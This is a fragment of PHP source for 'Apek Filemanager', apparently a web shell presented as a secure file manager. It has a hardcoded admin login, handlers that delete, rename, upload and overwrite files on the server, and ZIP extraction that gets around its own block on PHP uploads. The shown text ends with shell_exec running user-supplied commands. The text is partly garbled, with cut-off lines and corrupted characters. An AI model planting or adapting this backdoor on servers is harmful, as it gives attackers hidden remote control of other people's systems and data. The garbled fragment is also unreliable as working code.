86400,
'cookie_httponly' => true,
'cookie_secure' => isset($_SERVER['HTTPS']),
'use_strict_mode' => true
]);
// ====================
// LOGIN CONFIG
// ====================
$LOGIN_USER = 'adminapek';
$LOGIN_PASS_HASH = 'cf4095ca133c92d27a8b27f0b62085736c3bcbc1dd9616813726c5275ccd1f1c';
// ====================
// LOGIN HANDLER
// ====================
if (isset($_GET['logout'])) {
session_destroy();
header("Location: ?");
exit;
}
if (isset($_POST['login'])) {
if (isset($_POST['username'], $_POST['password']) && $_POST['username'] === $LOGIN_USER) {
if (hash('sha256', $_POST['password']) === $LOGIN_PASS_HASH) {
$_SESSION['apek_login'] = true;
header("Location: ?");
exit;
} else {
$login_error = "Username atau password salah!";
}
} else {
$login_error = "Username atau password salah!";
}
}
// ====================
// LOGIN PAGE
// ====================
if (!isset($_SESSION['apek_login'])) {
?>
Apek Filemanager - Login
đ Apek Filemanager
Secure File Management System
â ī¸
đ Password protected
= 1073741824) return round($s / 1073741824, 2) . ' GB';
if ($s >= 1048576) return round($s / 1048576, 2) . ' MB';
if ($s >= 1024) return round($s / 1024, 2) . ' KB';
return $s . ' B';
}
function sanitizeFilename($filename) {
$filename = preg_replace('/[^a-zA-Z0-9\.\-\_]/', '', $filename);
$filename = substr($filename, 0, 255);
return $filename;
}
// ===========================================
// VALIDASI INPUT
// ===========================================
$input_path = isset($_GET['path']) ? $_GET['path'] : '';
if (!is_string($input_path)) {
$input_path = '';
}
$path = getSafePath($input_path);
$home_shell_path = realpath(dirname(__FILE__)) ?: getcwd();
// ===========================================
// HANDLING OPERASI FILE
// ===========================================
// 1. DELETE
if (isset($_GET['delete'])) {
try {
$delete_target = $_GET['delete'];
if (!is_string($delete_target)) {
throw new Exception('Invalid delete target');
}
$target = realpath($path . '/' . $delete_target);
if ($target === false || strpos($target, $path) !== 0) {
throw new Exception('Invalid path');
}
if (is_file($target)) {
if (is_writable($target)) {
$result = unlink($target);
if (!$result) throw new Exception('Failed to delete file');
}
} elseif (is_dir($target)) {
if (is_writable($target)) {
$files = scandir($target);
$files = array_diff($files, ['.', '..']);
if (empty($files)) {
$result = rmdir($target);
if (!$result) throw new Exception('Failed to delete directory');
} else {
$_SESSION['error'] = 'Directory is not empty';
}
}
}
} catch (Exception $e) {
$_SESSION['error'] = 'Delete failed: ' . $e->getMessage();
}
header("Location: ?path=" . urlencode($path));
exit;
}
// 2. RENAME
if (isset($_POST['rename_from'], $_POST['rename_to'])) {
try {
$from = realpath($path . '/' . $_POST['rename_from']);
$to_name = sanitizeFilename($_POST['rename_to']);
$to = $path . '/' . $to_name;
if ($from === false || strpos($from, $path) !== 0 || !file_exists($from)) {
throw new Exception('Invalid source file');
}
if ($to_name === '' || file_exists($to)) {
throw new Exception('Invalid target name or file exists');
}
$result = rename($from, $to);
if (!$result) throw new Exception('Rename failed');
} catch (Exception $e) {
$_SESSION['error'] = 'Rename failed: ' . $e->getMessage();
}
header("Location: ?path=" . urlencode($path));
exit;
}
// 3. CREATE FOLDER
if (isset($_POST['new_folder'])) {
try {
$folder_name = sanitizeFilename($_POST['new_folder']);
if ($folder_name === '') throw new Exception('Invalid folder name');
$full_path = $path . '/' . $folder_name;
if (file_exists($full_path)) throw new Exception('Folder already exists');
$result = mkdir($full_path, 0755, true);
if (!$result) throw new Exception('Failed to create folder');
} catch (Exception $e) {
$_SESSION['error'] = 'Create folder failed: ' . $e->getMessage();
}
header("Location: ?path=" . urlencode($path));
exit;
}
// 4. CREATE FILE
if (isset($_POST['new_file'])) {
try {
$file_name = sanitizeFilename($_POST['new_file']);
if ($file_name === '') throw new Exception('Invalid file name');
$full_path = $path . '/' . $file_name;
if (file_exists($full_path)) throw new Exception('File already exists');
$result = file_put_contents($full_path, '');
if ($result === false) throw new Exception('Failed to create file');
} catch (Exception $e) {
$_SESSION['error'] = 'Create file failed: ' . $e->getMessage();
}
header("Location: ?path=" . urlencode($path));
exit;
}
// 5. UPLOAD
if (isset($_FILES['upload'])) {
try {
if ($_FILES['upload']['error'] !== UPLOAD_ERR_OK) {
throw new Exception('Upload error: ' . $_FILES['upload']['error']);
}
$file_name = sanitizeFilename($_FILES['upload']['name']);
if ($file_name === '') throw new Exception('Invalid file name');
$dangerous_ext = ['php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'phps'];
$ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
if (in_array($ext, $dangerous_ext)) {
$file_name .= '.txt';
}
$dest = $path . '/' . $file_name;
$result = move_uploaded_file($_FILES['upload']['tmp_name'], $dest);
if (!$result) throw new Exception('Move uploaded file failed');
} catch (Exception $e) {
$_SESSION['error'] = 'Upload failed: ' . $e->getMessage();
}
header("Location: ?path=" . urlencode($path));
exit;
}
// 6. ZIP UPLOAD
if (!empty($_FILES['zipfile']['name'])) {
try {
if ($_FILES['zipfile']['error'] !== UPLOAD_ERR_OK) {
throw new Exception('Zip upload error');
}
$zipName = sanitizeFilename($_FILES['zipfile']['name']);
$tmpZip = $_FILES['zipfile']['tmp_name'];
$ext = strtolower(pathinfo($zipName, PATHINFO_EXTENSION));
if ($ext !== 'zip') throw new Exception('Only ZIP files are allowed');
$destZip = $path . '/' . $zipName;
if (move_uploaded_file($tmpZip, $destZip)) {
if (!class_exists('ZipArchive')) {
throw new Exception('ZipArchive class not available');
}
$zip = new ZipArchive;
if ($zip->open($destZip) !== TRUE) {
throw new Exception('Cannot open zip file');
}
$zip->extractTo($path);
$zip->close();
if (file_exists($destZip)) {
unlink($destZip);
}
}
} catch (Exception $e) {
$_SESSION['error'] = 'Zip operation failed: ' . $e->getMessage();
}
header("Location: ?path=" . urlencode($path));
exit;
}
// 7. SAVE FILE
if (isset($_POST['save_file'], $_POST['content'])) {
try {
$file = realpath($path . '/' . $_POST['save_file']);
if ($file === false || strpos($file, $path) !== 0 || !is_file($file)) {
throw new Exception('Invalid file');
}
$result = file_put_contents($file, $_POST['content']);
if ($result === false) throw new Exception('Failed to save file');
$_SESSION['success'] = 'File saved successfully!';
} catch (Exception $e) {
$_SESSION['error'] = 'Save failed: ' . $e->getMessage();
}
header("Location: ?path=" . urlencode($path));
exit;
}
?>
Apek Filemanager - File Manager
â ī¸ ERROR:
â
SUCCESS:
â ī¸ File not found or inaccessible';
endif;
endif;
?>
/dev/null && ' . escapeshellcmd($cmd) . ' 2>&1';
$output = shell_exec($safe_cmd);
if ($output === null) $output = '[No output or command not allowed]';
?>